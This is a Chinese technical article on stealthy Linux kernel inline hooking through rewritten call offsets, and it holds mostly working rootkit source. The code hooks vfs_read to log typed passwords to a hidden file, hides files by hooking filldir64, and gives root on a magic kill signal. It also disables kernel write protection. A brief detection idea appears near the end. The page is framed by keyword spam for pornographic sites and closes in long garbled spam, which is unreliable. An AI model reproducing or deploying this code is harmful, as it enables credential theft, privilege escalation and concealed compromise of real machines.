精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

高級Linux Kernel Inline Hook技術分析與實現

安全 網站安全
技術分析與實現高級Linux Kernel Inline Hook……

一、簡述

目前流行和成熟的kernel inline hook技術就是修改內核函數的opcode,通過寫入jmp或push ret等指令跳轉到新的內核函數中,從而達到修改或過濾的功能。這些技術的共同點就是都會覆蓋原有的指令,這樣很容易在函數中通過查找jmp,push ret等指令來查出來,因此這種inline hook方式不夠隱蔽。本文將使用一種高級inline hook技術來實現更隱蔽的inlinehook技術。

二、更改offset實現跳轉

如何不給函數添加或覆蓋新指令,就能跳轉到我們新的內核函數中去呢?我們知道實現一個系統調用的函數中不可能把所有功能都在這個函數中全部實現,它必定要調用它的下層函數。如果這個下層函數也可以得到我們想要的過濾信息等內容的話,就可以把下層函數在上層函數中的offset替換成我們新的函數的offset,這樣上層函數調用下層函數時,就會跳到我們新的函數中,在新的函數中做過濾和劫持內容的工作。原理是這樣的,具體來分析它該怎么實現, 我們去看看sys_read的具體實現:

linux-2.6.18/fs/read_write.c
asmlinkage ssize_t sys_read(unsigned int fd, char __user * buf, size_t count)
{
        struct file *file;ssize_t ret = -EBADF;int fput_needed;

        file = fget_light(fd, &fput_needed);if (file) {loff_t pos = file_pos_read(file);ret = vfs_read(file, buf, count, &pos);file_pos_write(file, pos);fput_light(file, fput_needed);}
return ret;}
EXPORT_SYMBOL_GPL(sys_read);

我們看到sys_read最終是要調用下層函數vfs_read來完成讀取數據的操作,所以我們不需要給sys_read添加或覆蓋指令, 而是要更改vfs_read在sys_read代碼中的offset就可以跳轉到我們新的new_vfs_read中去。如何修改vfs_read的offset呢?先反匯編下sys_read看看:

[root@xsec linux-2.6.18]# gdb -q vmlinux
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass sys_read
Dump of assembler code for function sys_read:
0xc106dc5a :        push   %ebp
0xc106dc5b :        mov    %esp,%ebp
0xc106dc5d :        push   %esi
0xc106dc5e :        mov    $0xfffffff7,%esi
0xc106dc63 :        push   %ebx
0xc106dc64 :       sub    $0xc,%esp
0xc106dc67 :       mov    0x8(%ebp),%eax
0xc106dc6a :       lea    0xfffffff4(%ebp),%edx
0xc106dc6d :       call   0xc106e16c
0xc106dc72 :       test   %eax,%eax
0xc106dc74 :       mov    %eax,%ebx
0xc106dc76 :       je     0xc106dcb1
0xc106dc78 :       mov    0x24(%ebx),%edx
0xc106dc7b :       mov    0x20(%eax),%eax
0xc106dc7e :       mov    0x10(%ebp),%ecx
0xc106dc81 :       mov    %edx,0xfffffff0(%ebp)
0xc106dc84 :       mov    0xc(%ebp),%edx
0xc106dc87 :       mov    %eax,0xffffffec(%ebp)
0xc106dc8a :       lea    0xffffffec(%ebp),%eax
0xc106dc8d :       push   %eax
0xc106dc8e :       mov    %ebx,%eax
0xc106dc90 :       call   0xc106d75c
0xc106dc95 :       mov    0xfffffff0(%ebp),%edx
0xc106dc98 :       mov    %eax,%esi
0xc106dc9a :       mov    0xffffffec(%ebp),%eax
0xc106dc9d :       mov    %edx,0x24(%ebx)
0xc106dca0 :       mov    %eax,0x20(%ebx)
0xc106dca3 :       cmpl   $0x0,0xfffffff4(%ebp)
0xc106dca7 :       pop    %eax
0xc106dca8 :       je     0xc106dcb1
0xc106dcaa :       mov    %ebx,%eax
0xc106dcac :       call   0xc106e107
0xc106dcb1 :       lea    0xfffffff8(%ebp),%esp
0xc106dcb4 :       mov    %esi,%eax
0xc106dcb6 :       pop    %ebx
0xc106dcb7 :       pop    %esi
0xc106dcb8 :       pop    %ebp
0xc106dcb9 :       ret   
End of assembler dump.
(gdb)
 
0xc106dc90 :       call   0xc106d75c

通過call指令來跳轉到vfs_read中去。0xc106d75c是vfs_read的內存地址。所以只要把這個地址替換成我們的新函數地址,當sys_read執行這塊的時候,就會跳轉到我們的函數來了。

下面給出我寫的一個hook引擎,來完成查找和替換offset的功能。原理就是搜索sys_read的opcode,如果發現是call指令,根據call后面的offset重新計算要跳轉的地址是不是我們要hook的函數地址,如果是就重新計算新函數的offset,用新的offset替換原來的offset。從而完成跳轉功能。

參數handler是上層函數的地址,這里就是sys_read的地址,old_func是要替換的函數地址,這里就是vfs_read, new_func是新函數的地址,這里就是new_vfs_read的地址。

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
  unsigned int new_func){
 unsigned char *p = (unsigned char *)handler;
 unsigned char buf[4] = "\x00\x00\x00\x00";
 unsigned int offset = 0;
 unsigned int orig = 0;
 int i = 0;

 DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

 while (1) {if (i > 512)return 0;
  if (p[0] == 0xe8) {DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);
   
   DbgPrint("*** hook engine: call addr: 0x%08x\n",
    (unsigned int)p);
   buf[0] = p[1];
   buf[1] = p[2];
   buf[2] = p[3];
   buf[3] = p[4];

   DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
    p[1], p[2], p[3], p[4]);

          offset = *(unsigned int *)buf;
          DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

          orig = offset + (unsigned int)p + 5;
          DbgPrint("*** hook engine: original func: 0x%08x\n", orig);if (orig == old_func) {DbgPrint("*** hook engine: found old func at"" 0x%08x\n", old_func);DbgPrint("%d\n", i);break;}}p++;i++;}

 offset = new_func - (unsigned int)p - 5;
 DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

 p[1] = (offset & 0x000000ff);
 p[2] = (offset & 0x0000ff00) >> 8;
 p[3] = (offset & 0x00ff0000) >> 16;
 p[4] = (offset & 0xff000000) >> 24;

 DbgPrint("*** hook engine: pachted new func offset.\n");

 return orig;}

使用這種方法,我們僅改了函數的一個offset,沒有添加和修改任何指令,傳統的inline hook檢查思路都已經失效。

三、補充

這種通過修改offset的來實現跳轉的方法,需要知道上層函數的地址,在上面的例子中sys_read和vfs_read在內核中都是導出的,因此可以直接引用它們的地址。但是如果想hook沒有導出的函數時,不僅要知道上層函數的地址,還要知道下層函數的地址。因此給rootkit的安裝稍微帶了點麻煩。不過,可以通過讀取/proc/kallsyms或system map來查找函數地址。

四、如何查殺

這種inline hook技術改寫的只是函數的offset, 并沒有添加傳統的jmp, push ret等指令,所以傳統的inline hook檢測技術基本失效。我想到的一種解決方法就是對某些函數的offset做備份,然后需要的時候與現在的offset進行比較,如果不相等可能機器就中了這種類型的rootkit。 如果您有好的想法可以通過mail與我共同交流。

五、實例

下面是hook sys_read的部分代碼實現,讀者可以根據思路來補充完整。

========
config.h

#ifndef CONFIG_H
#define CONFIG_H

#define SNIFF_LOG  "/tmp/.sniff_log"
#define KALL_SYMS_NAME  "/proc/kallsyms"
 
#define HIDE_FILE  "test"

#define MAGIC_PID  12345
#define MAGIC_SIG  58
#endi

======
hook.h

#ifndef HOOK_H
#define HOOK_H

#define HOOK_VERSION 0.1

#define HOOK_DEBUG

#ifdef HOOK_DEBUG
#define DbgPrint(format, args...) \
        printk("hook: function:%s-L%d: "format, __FUNCTION__, __LINE__, ##args);
#else
#define DbgPrint(format, args...)  do {} while(0);
#endif

#define SYS_REPLACE(x)  orig_##x = sys_call_table[__NR_##x]; \
       sys_call_table[__NR_##x] = new_##x

#define SYS_RESTORE(x) sys_call_table[__NR_##x] = orig_##x

#define CLEAR_CR0 asm ("pushl %eax\n\t"    \
    "movl %cr0, %eax\n\t"  \
    "andl $0xfffeffff, %eax\n\t"  \
    "movl %eax, %cr0\n\t"  \
    "popl %eax");

#define SET_CR0  asm ("pushl %eax\n\t"    \
    "movl %cr0, %eax\n\t"   \
    "orl $0x00010000, %eax\n\t"  \
    "movl %eax, %cr0\n\t"  \
    "popl %eax");
     

struct descriptor_idt
{
        unsigned short offset_low;
        unsigned short ignore1;
        unsigned short ignore2;
        unsigned short offset_high;
};

static struct {
        unsigned short limit;
        unsigned long base;
}__attribute__ ((packed)) idt48;

void **sys_call_table;

asmlinkage ssize_t new_read(unsigned int fd, char __user * buf, size_t count);
asmlinkage ssize_t (*orig_read)(unsigned int fd, char __user * buf, size_t count);

#endif

========
k_file.h

#ifndef TTY_SNIFF_H
#define TTY_SNIFF_H

#define BEGIN_KMEM { mm_segment_t old_fs = get_fs(); set_fs(get_ds());
#define END_KMEM set_fs(old_fs); }

#define BEGIN_ROOT  int saved_fsuid = current->fsuid; \
   current->fsuid = 0;
#define END_ROOT current->fsuid = saved_fsuid;

#define IS_PASSWD(tty) L_ICANON(tty) && !L_ECHO(tty)

#define READABLE(f) (f->f_op && f->f_op->read)
#define _read(f, buf, sz) (f->f_op->read(f, buf, sz, &f->f_pos))

#define WRITABLE(f) (f->f_op && f->f_op->write)
#define _write(f, buf, sz) (f->f_op->write(f, buf, sz, &f->f_pos))

#define TTY_READ(tty, buf, count) (*tty->driver->read)(tty, 0, \
                                                        buf, count)

#define TTY_WRITE(tty, buf, count) (*tty->driver->write)(tty, 0, \
       buf, count)

int write_to_file(char *logfile, char *buf, int size);

#endif

========
k_file.c

#include
#include
#include
#include
#include
#include
#include
#include
#include

#include "k_file.h"

int write_to_file(char *logfile, char *buf, int size)
{
 mm_segment_t old_fs;
        struct file *f = NULL;
 int ret = 0;

        old_fs = get_fs();
 set_fs(get_ds());

 BEGIN_ROOT
        f = filp_open(logfile, O_CREAT | O_APPEND, 00600);
        if (IS_ERR(f)) {
                printk("Error %ld opening %s\n", -PTR_ERR(f), logfile);
  set_fs(old_fs);
  END_ROOT

                ret = -1;
        } else {
                if (WRITABLE(f)) {
                        _write(f, buf, size);
  }
                else {
                        printk("%s does not have a write method\n", logfile);
   set_fs(old_fs);
   END_ROOT
   
                        ret = -1;
                }

                if ((ret = filp_close(f,NULL)))
                        printk("Error %d closing %s\n", -ret, logfile);
        }
       
 set_fs(old_fs);
 END_ROOT
  
        return ret;
}

==========
get_time.c

#include
#include
#include
#include
#include
#include

/* Macros used to get local time */

#define SECS_PER_HOUR   (60 * 60)
#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
#define isleap(year) \
 ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
#define DIV(a, b) ((a) / (b) - ((a) % (b) < 0))
#define LEAPS_THRU_END_OF(y) (DIV (y, 4) - DIV (y, 100) + DIV (y, 400))

struct vtm
{
 int tm_sec;
 int tm_min;
 int tm_hour;
 int tm_mday;
 int tm_mon;
 int tm_year;
};

int timezone;

int epoch2time(const time_t * t, long int offset, struct vtm *tp)
{
 static const unsigned short int mon_yday[2][13] = {
  /* Normal years.  */
  {0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365},
  /* Leap years.  */
  {0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366}
 };

 long int days, rem, y;
 const unsigned short int *ip;

 days = *t / SECS_PER_DAY;
 rem = *t % SECS_PER_DAY;
 rem += offset;
 while (rem < 0) {
  rem += SECS_PER_DAY;
  --days;
 }
 while (rem >= SECS_PER_DAY) {
  rem -= SECS_PER_DAY;
  ++days;
 }
 tp->tm_hour = rem / SECS_PER_HOUR;
 rem %= SECS_PER_HOUR;
 tp->tm_min = rem / 60;
 tp->tm_sec = rem % 60;
 y = 1970;

 while (days < 0 || days >= (isleap(y) ? 366 : 365)) {
  long int yg = y + days / 365 - (days % 365 < 0);
  days -= ((yg - y) * 365 + LEAPS_THRU_END_OF(yg - 1)
      - LEAPS_THRU_END_OF(y - 1));
  y = yg;
 }
 tp->tm_year = y - 1900;
 if (tp->tm_year != y - 1900)
  return 0;
 ip = mon_yday[isleap(y)];
 for (y = 11; days < (long int) ip[y]; --y)
  continue;
 days -= ip[y];
 tp->tm_mon = y;
 tp->tm_mday = days + 1;
 return 1;
}

/*
 *  Get current date & time
 */

void get_time(char *date_time)
{
 struct timeval tv;
 time_t t;
 struct vtm tm;

 do_gettimeofday(&tv);
 t = (time_t) tv.tv_sec;

 epoch2time(&t, timezone, &tm);

 sprintf(date_time, "%.2d/%.2d/%d-%.2d:%.2d:%.2d", tm.tm_mday,
     tm.tm_mon + 1, tm.tm_year + 1900, tm.tm_hour, tm.tm_min,
     tm.tm_sec);
}

===========
hide_file.c

#include
#include
#include
#include
#include
#include
#include
#include
#include

#include "config.h"

#define ROUND_UP64(x) (((x)+sizeof(u64)-1) & ~(sizeof(u64)-1))
#define NAME_OFFSET(de) ((int) ((de)->d_name - (char __user *) (de)))

struct getdents_callback64 {
        struct linux_dirent64 __user * current_dir;
        struct linux_dirent64 __user * previous;
        int count;
        int error;
};

int new_filldir64(void * __buf, const char * name, int namlen, loff_t offset,
                     ino_t ino, unsigned int d_type)
{
        struct linux_dirent64 __user *dirent;
        struct getdents_callback64 * buf = (struct getdents_callback64 *) __buf;
        int reclen = ROUND_UP64(NAME_OFFSET(dirent) + namlen + 1);

        buf->error = -EINVAL;   /* only used if we fail.. */
        if (reclen > buf->count)
                return -EINVAL;
        dirent = buf->previous;
        if (dirent) {
                if (strstr(name, HIDE_FILE) != NULL) {
                        return 0;
                }

                if (__put_user(offset, &dirent->d_off))
                        goto efault;
        }
        dirent = buf->current_dir;

        if (strstr(name, HIDE_FILE) != NULL) {
                return 0;
        }

        if (__put_user(ino, &dirent->d_ino))
                goto efault;
        if (__put_user(0, &dirent->d_off))
                goto efault;
        if (__put_user(reclen, &dirent->d_reclen))
                goto efault;
        if (__put_user(d_type, &dirent->d_type))
                goto efault;
        if (copy_to_user(dirent->d_name, name, namlen))
                goto efault;
        if (__put_user(0, dirent->d_name + namlen))
                goto efault;
        buf->previous = dirent;
        dirent = (void __user *)dirent + reclen;
        buf->current_dir = dirent;
        buf->count -= reclen;
        return 0;
efault:
        buf->error = -EFAULT;
        return -EFAULT;
}

======
hook.c
/*
 My hook engine v0.20

 by wzt <wzt@xsec.org>

        tested on  amd64 as5, x86 as4,5
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include "syscalls.h"
#include "config.h"
#include "k_file.h"
#include "hide_file.h"
#include "hook.h"

#define READ_NUM 200

extern int write_to_file(char *logfile, char *buf, int size);

ssize_t (*orig_vfs_read)(struct file *file, char __user *buf, size_t count,
                loff_t *pos);
int (*orig_kill_something_info)(int sig, struct siginfo *info, int pid);

unsigned int system_call_addr = 0;
unsigned int sys_call_table_addr = 0;

unsigned int sys_read_addr = 0;
unsigned int sys_getdents64_addr = 0;
unsigned int sys_kill_addr = 0;
unsigned int kill_something_info_addr = 0;

int hook_kill_something_info_flag = 1;
int hook_vfs_read_flag = 1;

spinlock_t tty_sniff_lock = SPIN_LOCK_UNLOCKED;

unsigned int filldir64_addr = 0;
unsigned char old_filldir64_opcode[5];

unsigned int get_sct_addr(void)
{
        int i = 0, ret = 0;
       
        for (; i < 500; i++) {
                if ((*(unsigned char*)(system_call_addr + i) == 0xff)
                        && (*(unsigned char *)(system_call_addr + i + 1) == 0x14)
                        && (*(unsigned char *)(system_call_addr + i + 2) == 0x85)) {
                        ret = *(unsigned int *)(system_call_addr + i + 3);
                        break;
                }
        }
       
        return ret;
}

unsigned int find_kernel_symbol(char *symbol_name, char *search_file)
{
        mm_segment_t old_fs;
        ssize_t bytes;
        struct file *file = NULL;
 char read_buf[500];
        char *p, tmp[20];
 unsigned int addr = 0;
        int i = 0;

        file = filp_open(search_file, O_RDONLY, 0);
        if (!file)
                return -1;

        if (!file->f_op->read)
                return -1;

        old_fs = get_fs();
        set_fs(get_ds());

        while ((bytes = file->f_op->read(file, read_buf, 500, &file->f_pos))) {
                if ((p = strstr(read_buf, symbol_name)) != NULL) {
                        while (*p--)
                                if (*p == '\n')
                                        break;

                        while (*p++ != ' ') {
                                tmp[i++] = *p;
                        }
                        tmp[--i] = '\0';

                        addr = simple_strtoul(tmp, NULL, 16);
                        DbgPrint("find %s at: 0x%8x\n", symbol_name, addr);
   
   break;
                }
        }


        filp_close(file,NULL);
 set_fs(old_fs);

        return addr;
}

unsigned int try_find_kernel_symbol(char *symbol_name, char *search_file,
 int search_num)
{
 unsigned int addr = 0;
 int i = 0;

 for (i = 0; i < search_num; i++) {
  addr = find_kernel_symbol(symbol_name, search_file);
  if (addr)
   break;
 }
   
 return addr;
}

ssize_t new_vfs_read(struct file *file, char __user *buf, size_t count,
  loff_t *pos)
{
 ssize_t ret;

 ret = (*orig_vfs_read)(file, buf, count, pos);
        if (ret > 0) {
                struct task_struct *tsk = current;
                struct tty_struct *tty = NULL;

                tty = tsk->signal->tty;
                if (tty && IS_PASSWD(tty)) {
                 char *tmp_buf = NULL, buff[READ_NUM];

   if (ret > READ_NUM)
    return ret;

                 tmp_buf = (char *)kmalloc(ret, GFP_ATOMIC);
                 if (!tmp_buf)
                         return ret;

                 copy_from_user(tmp_buf, buf, ret);

                        snprintf(buff, sizeof(buff),
                                "\t--\tpasswd: %s\n", tsk->comm,
    tmp_buf);
                        write_to_file(SNIFF_LOG, buff, strlen(buff));

   kfree(tmp_buf);
                }
        }

 return ret;
}

int new_kill_something_info(int sig, struct siginfo *info, int pid)
{
 struct task_struct *tsk = current;
 int ret;

        if ((MAGIC_PID == pid) && (MAGIC_SIG == sig)) {
                tsk->uid = 0;
                tsk->euid = 0;
                tsk->gid = 0;
                tsk->egid = 0;

  return 0;
        }
 else {
  ret = (*orig_kill_something_info)(sig, info, pid);
 
  return ret;
 }
}

unsigned int patch_kernel_func(unsigned int handler, unsigned int old_func,
  unsigned int new_func)
{
 unsigned char *p = (unsigned char *)handler;
 unsigned char buf[4] = "\x00\x00\x00\x00";
 unsigned int offset = 0;
 unsigned int orig = 0;
 int i = 0;

 DbgPrint("\n*** hook engine: start patch func at: 0x%08x\n", old_func);

 while (1) {
  if (i > 512)
   return 0;

  if (p[0] == 0xe8) {
   DbgPrint("*** hook engine: found opcode 0x%02x\n", p[0]);
   
   DbgPrint("*** hook engine: call addr: 0x%08x\n",
    (unsigned int)p);
   buf[0] = p[1];
   buf[1] = p[2];
   buf[2] = p[3];
   buf[3] = p[4];

   DbgPrint("*** hook engine: 0x%02x 0x%02x 0x%02x 0x%02x\n",
    p[1], p[2], p[3], p[4]);

          offset = *(unsigned int *)buf;
          DbgPrint("*** hook engine: offset: 0x%08x\n", offset);

          orig = offset + (unsigned int)p + 5;
          DbgPrint("*** hook engine: original func: 0x%08x\n", orig);

   if (orig == old_func) {
    DbgPrint("*** hook engine: found old func at"
     " 0x%08x\n",
     old_func);

    DbgPrint("%d\n", i);
    break;}}
  p++;
  i++;
 }

 offset = new_func - (unsigned int)p - 5;
 DbgPrint("*** hook engine: new func offset: 0x%08x\n", offset);

 p[1] = (offset & 0x000000ff);
 p[2] = (offset & 0x0000ff00) >> 8;
 p[3] = (offset & 0x00ff0000) >> 16;
 p[4] = (offset & 0xff000000) >> 24;

 DbgPrint("*** hook engine: pachted new func offset.\n");

 return orig;}

static int inline_hook_func(unsigned int old_func, unsigned int new_func,
 unsigned char *old_opcode)
{ unsigned char *buf;
        unsigned int p;
        int i;

        buf = (unsigned char *)old_func;
        memcpy(old_opcode, buf, 5);

        p = (unsigned int)new_func - (unsigned int)old_func - 5;
        buf[0] = 0xe9;
        memcpy(buf + 1, &p, 4);
}

static int restore_inline_hook(unsigned int old_func, unsigned char *old_opcode)
{
        unsigned char *buf;

        buf = (unsigned char *)old_func;
        memcpy(buf, old_opcode, 5);
}

static int hook_init(void)
{
 struct descriptor_idt *pIdt80;

        __asm__ volatile ("sidt %0": "=m" (idt48));

 pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80);

        system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low);
 if (!system_call_addr) {
  DbgPrint("oh, shit! can't find system_call address.\n");
  return 0;
 }
        DbgPrint(KERN_ALERT "system_call addr : 0x%8x\n",system_call_addr);

        sys_call_table_addr = get_sct_addr();
 if (!sys_call_table_addr) {
  DbgPrint("oh, shit! can't find sys_call_table address.\n");
  return 0;
 }
        DbgPrint(KERN_ALERT "sys_call_table addr : 0x%8x\n",sys_call_table_addr);
       
        sys_call_table = (void **)sys_call_table_addr;

 sys_read_addr = (unsigned int)sys_call_table[__NR_read];
 sys_kill_addr = (unsigned int)sys_call_table[__NR_kill];

 DbgPrint("sys_read addr: 0x%08x\n", sys_read_addr);
 DbgPrint("sys_kill addr: 0x%08x\n", sys_kill_addr);

 kill_something_info_addr = try_find_kernel_symbol("kill_something_info2",
  KALL_SYMS_NAME, 3);
 DbgPrint("kill_something_info addr: 0x%08x\n", kill_something_info_addr);


 filldir64_addr = try_find_kernel_symbol("filldir64", KALL_SYMS_NAME, 3);
        DbgPrint("filldir64 addr: 0x%08x\n", filldir64_addr);

        lock_kernel();
        CLEAR_CR0

 if (sys_read_addr) {
         orig_vfs_read = (ssize_t (*)())patch_kernel_func(sys_read_addr,
                         (unsigned int)vfs_read, (unsigned int)new_vfs_read);
  if ((unsigned int)orig_vfs_read == 0)
   hook_vfs_read_flag = 0;
 }

        if (kill_something_info_addr && sys_kill_addr) {
                orig_kill_something_info = (int (*)())patch_kernel_func(sys_kill_addr,
                                (unsigned int)kill_something_info_addr,
    (unsigned int)new_kill_something_info);
                if ((unsigned int)orig_kill_something_info == 0)
                        hook_kill_something_info_flag = 0;
 }

 if (filldir64_addr) {
  inline_hook_func(filldir64_addr, (unsigned int)new_filldir64,
   old_filldir64_opcode);
 }
 
        SET_CR0
        unlock_kernel();

 DbgPrint("orig_vfs_read: 0x%08x\n", (unsigned int)orig_vfs_read);
 DbgPrint("orig_kill_something_info: 0x%08x\n", (unsigned int)orig_kill_something_info);

 if (!hook_kill_something_info_flag && !hook_vfs_read_flag) {
  DbgPrint("install hook failed.\n");
 }
 else {
  DbgPrint("install hook ok.\n");
 }

        return 0;
}

static void hook_exit(void)
{
        lock_kernel();
        CLEAR_CR0

        if (hook_vfs_read_flag)
  patch_kernel_func(sys_read_addr, (unsigned int)new_vfs_read,
   (unsigned int)vfs_read);

 if (hook_kill_something_info_flag)
         patch_kernel_func(sys_kill_addr, (unsigned int)new_kill_something_info,
                 (unsigned int)kill_something_info_addr);

        SET_CR0
        unlock_kernel();

 if (filldir64_addr) {
  restore_inline_hook(filldir64_addr, old_filldir64_opcode);
 }

 DbgPrint("uninstall hook ok.\n");
}

module_init(hook_init);
module_exit(hook_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");

 

責任編輯:佚名 來源: Webzine
相關推薦

2022-06-30 10:34:21

程序布局

2017-11-27 15:40:28

Linux內核崩潰錯誤跟蹤

2014-11-14 09:42:53

VoLTE

2017-03-06 14:44:49

Androidhook技術

2010-01-19 09:23:50

2010-01-26 09:07:50

2009-04-28 18:19:25

2016-11-15 14:18:09

神策分析大數據數據分析

2010-09-08 11:16:23

Linux命令行

2018-02-07 15:25:41

2009-12-09 11:41:51

Linux Kerne

2022-10-30 15:00:50

2009-08-21 15:40:26

Linux KerneLinux開發加速

2011-06-19 11:03:30

搜索引擎SERP

2009-12-28 13:35:45

接入網技術

2009-07-06 20:48:45

2013-11-15 13:06:52

透明加解密hook技術數據安全

2020-10-18 10:11:01

漏洞

2014-07-07 17:23:55

Linux Kerne

2013-12-09 16:37:05

Linux內核Linux Kerne
點贊
收藏

51CTO技術棧公眾號

韩国精品久久久999| 欧美日韩国产高清一区二区三区| 俄罗斯精品一区二区三区| 久久精品国产亚洲av无码娇色| 久久草在线视频| 色菇凉天天综合网| 欧美美女黄色网| 免费福利在线视频| 激情丁香综合五月| 欧美一区视频在线| 天天操天天操天天操天天操天天操| 北条麻妃在线一区二区免费播放 | 岛国精品一区二区三区| 国产亚洲成av人片在线观看| 国产蜜臀av在线一区二区三区| 亚洲一区二区中文字幕| 久久国产视频播放| 牛夜精品久久久久久久99黑人| 精品亚洲精品福利线在观看| 日韩高清在线一区二区| 国偷自产一区二区免费视频| 一区二区三区在线视频观看58| 欧美日韩三区四区| 韩国av在线免费观看| 日韩成人免费电影| 2019精品视频| 久草国产在线视频| 久久一区二区三区喷水| 亚洲免费电影一区| 污污免费在线观看| 91精品啪在线观看国产爱臀| 欧美三片在线视频观看| 妺妺窝人体色www在线小说| 国产黄色在线网站| 国产精品国产精品国产专区不片| 久久国产精品一区二区三区| 男人天堂网在线视频| 国产精品中文字幕欧美| 国产精品羞羞答答| www.com亚洲| 国产一区二区精品| 午夜精品福利在线观看| 久久久91视频| 欧美在线1区| 麻豆一区二区在线观看| 日韩av片在线免费观看| 精品免费av| 国产亚洲精品久久久久久| 99re这里只有| 精品福利一区| 亚洲精品wwww| 爱爱的免费视频| 亚洲动漫精品| 国产偷亚洲偷欧美偷精品| 精品一区二区视频在线观看| 免费看的黄色网| 第一福利在线视频| 亚洲一二三专区| 国产精品一色哟哟| 韩日毛片在线观看| 欧美日韩在线视频一区| 成年人视频观看| 不卡av播放| 色视频成人在线观看免| 欧美日韩大尺度| 日本综合视频| 欧美巨大另类极品videosbest| 五月天开心婷婷| 玖玖精品一区| 亚洲精品一区二区三区精华液| 国产a级黄色片| 香蕉久久99| 伊人精品在线观看| 黄色香蕉视频在线观看| 午夜精品国产| 91国内在线视频| 日韩黄色片网站| 精品在线观看视频| www.久久久| 瑟瑟在线观看| 国产精品美女久久久久久久久久久| 中文字幕剧情在线观看一区| 色爱综合区网| 欧美日韩中文在线| 第四色婷婷基地| 香蕉成人app| 日韩精品高清视频| 国产wwwwxxxx| 精品69视频一区二区三区Q| 欧美在线xxx| 91国内精品视频| 成人一区二区三区在线观看| 女女同性女同一区二区三区91| 色综合久久影院| 一区二区三区在线观看国产| 久久网站免费视频| 日韩国产大片| 亚洲精品美女在线观看| 91ts人妖另类精品系列| 一区在线观看| 国产精品日日做人人爱| 国产成人手机在线| 中文在线免费一区三区高中清不卡| 在线亚洲欧美视频| 国产欧美亚洲日本| 国产网站在线播放| 洋洋av久久久久久久一区| 最近免费中文字幕中文高清百度| 日韩毛片免费视频一级特黄| 亚洲第一福利视频| 欧美日韩色视频| 欧美亚洲三级| 国产精品国产三级欧美二区 | 黄色影视在线观看| www.com.cn成人| 日韩精品资源二区在线| 欧美三级视频网站| 一本久道久久综合婷婷鲸鱼| 成人a级免费视频| 久久天堂电影| 亚洲国产精品一区二区尤物区| 性欧美1819| 久久av资源| 91精品国产色综合久久不卡98| 国产又黄又爽视频| 亚洲国产高清aⅴ视频| 国产午夜福利100集发布| 国产精品一区二区美女视频免费看| 亚洲欧美一区二区三区久久| 国产无码精品久久久| 国内国产精品久久| 亚洲高清资源综合久久精品| 中文字幕成在线观看| 精品久久国产字幕高潮| 日韩激情综合网| 免费观看30秒视频久久| 欧美少妇一区| 人狥杂交一区欧美二区| 欧美精品一区二区在线观看| 免费日韩在线视频| 国产精品一二三四区| 在线综合视频网站| 欧美特黄色片| 色av中文字幕一区| 中文字幕日韩第一页| 国产日本欧洲亚洲| 人妻丰满熟妇av无码区app| 色狠狠久久av综合| 57pao成人国产永久免费| 手机看片国产1024| 黑人巨大精品欧美一区二区免费 | 日本视频www| 国产精品12区| 国产又粗又长又爽视频| 99精品女人在线观看免费视频| 日韩在线视频播放| 91极品身材尤物theporn| 国产精品久久久久久久久搜平片| 中文字幕网av| 久久综合国产| 92福利视频午夜1000合集在线观看| 国产在线观看免费麻豆| 日韩一区二区电影| 久久精品无码人妻| 91影院在线观看| 超碰97人人射妻| 日韩免费久久| 亚洲一区二区少妇| 国产美女高潮在线| 亚洲色图五月天| 在线免费一级片| 一区二区三区在线视频免费观看| 丰满岳乱妇一区二区| 亚洲欧美卡通另类91av| 视频一区视频二区视频| 成人97精品毛片免费看| 欧美夫妻性生活xx| 日韩porn| 7777精品伊人久久久大香线蕉经典版下载| 日韩高清dvd碟片| 99久免费精品视频在线观看| www日韩视频| 欧美精品国产| 久久久久久久久久久久久久久久av | 国产亚洲欧洲997久久综合 | 成人avav影音| 国产性生交xxxxx免费| 亚洲经典一区| 久久久综合亚洲91久久98| 成人在线视频免费| 欧美黑人又粗大| 国产精品久久久久一区二区国产| 欧美一区二区福利视频| 日本在线播放视频| 亚洲丝袜美腿综合| 一区二区黄色片| 国产a精品视频| 香蕉视频禁止18| 在线欧美不卡| 一区二区三区四区在线视频| 精品无人区一区二区| 国产在线观看精品| 色一区二区三区| 99精品一区二区三区| 日本中文字幕久久看| 成人在线播放免费观看| 亚洲欧美综合另类中字| www日本在线| 欧美日韩精品一区二区三区蜜桃| 国产精品成人av久久| 中文字幕亚洲欧美在线不卡| 人妻丰满熟妇av无码久久洗澡| 国产在线精品免费av| 老头吃奶性行交视频| 亚洲日本国产| 欧美 国产 精品| 日韩啪啪电影网| 欧美日韩在线一二三| 欧美福利在线播放网址导航| 96久久精品| 亚洲成人高清| 国产精品视频自拍| 日本在线啊啊| 国产综合在线视频| 在线xxxx| 久久精品亚洲热| 秋霞午夜在线观看| 国产一区二区三区在线看| 凸凹人妻人人澡人人添| 欧美电影精品一区二区| 国产又黄又爽视频| 欧美日韩另类一区| 欧美在线视频精品| 欧美在线一二三四区| 国产一级片免费在线观看| 欧美日韩一区二区免费在线观看 | 三级黄色片网站| 成人免费视频视频| 深夜视频在线观看| 国产98色在线|日韩| 亚洲少妇一区二区| 国产在线观看一区二区| 四季av一区二区三区| 老司机精品视频在线| 在线观看高清免费视频| 青青草国产成人av片免费| 欧美日韩在线免费播放| 日本视频一区二区三区| av污在线观看| 久久精品二区亚洲w码| 中文字幕 日韩 欧美| 久久69国产一区二区蜜臀| 亚洲欧美日韩三级| 国产在线一区观看| 91人人澡人人爽| av电影天堂一区二区在线| 捆绑裸体绳奴bdsm亚洲| 91丨porny丨中文| 